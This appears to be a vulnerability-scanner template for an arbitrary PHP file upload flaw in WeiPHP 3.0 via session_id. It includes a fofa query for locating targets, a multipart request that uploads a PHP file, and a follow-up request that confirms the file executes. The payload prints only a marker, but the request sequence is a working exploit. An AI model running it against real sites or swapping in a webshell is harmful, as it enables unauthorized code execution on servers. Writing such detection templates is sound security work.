weiphp3-sessionid-fileupload: WeiPHP3.0 session_id 任意文件上传漏洞

id: weiphp3-sessionid-fileupload

info:
  name: WeiPHP3.0 session_id 任意文件上传漏洞
  author: daffainfo
  severity: critical
  verified: true
  description: |
    WeiPHP3.0 session_id 存在任意文件上传漏洞，攻击者通过漏洞可以上传任意文件。漏洞影响：WeiPHP3.0
    fofa-query: app="weiphp"
  reference:
    - https://github.com/Threekiii/Awesome-POC/blob/master/CMS%E6%BC%8F%E6%B4%9E/WeiPHP3.0%20session_id%20%E4%BB%BB%E6%84%8F%E6%96%87%E4%BB%B6%E4%B8%8A%E4%BC%A0%E6%BC%8F%E6%B4%9E.md

set:
    randstr: randomLowercase(4)
    md5str: md5(randstr)
    file: year(0) + "-" + month(0) + "-" + day(0) 
    rboundary: randomLowercase(8)

rules:
  r0:
    request:
      method: POST
      path: /index.php?s=/Home/File/upload/session_id/scevs8hub3m5ogla05a421hb42.html
      headers:
        Content-Type: multipart/form-data; boundary=------------------------WebKitFormBoundary{{rboundary}}
      body: "\
        --------------------------WebKitFormBoundary{{rboundary}}\r\n\
        Content-Disposition: form-data; name=\"download\"; filename=\"882176.php\"\r\n\
        Content-Type: application/octet-stream\r\n\
        \r\n\
        <?php\r\n\
        print(\"{{md5str}}\");\r\n\
        \r\n\
        --------------------------WebKitFormBoundary{{rboundary}}--\r\n\
        "
    expression: response.status == 200 && response.body.bcontains(b'"status":1')
    output:
      search: '"\"savename\":\"(?P<phpname>.+?).php".bsubmatch(response.body)'
      phpname: search["phpname"]
  r1:
    request:
      method: GET
      path: /Uploads/Download/{{file}}/{{phpname}}.php
    expression: response.status == 200 && response.body.bcontains(bytes(md5str))
expression: r0() && r1()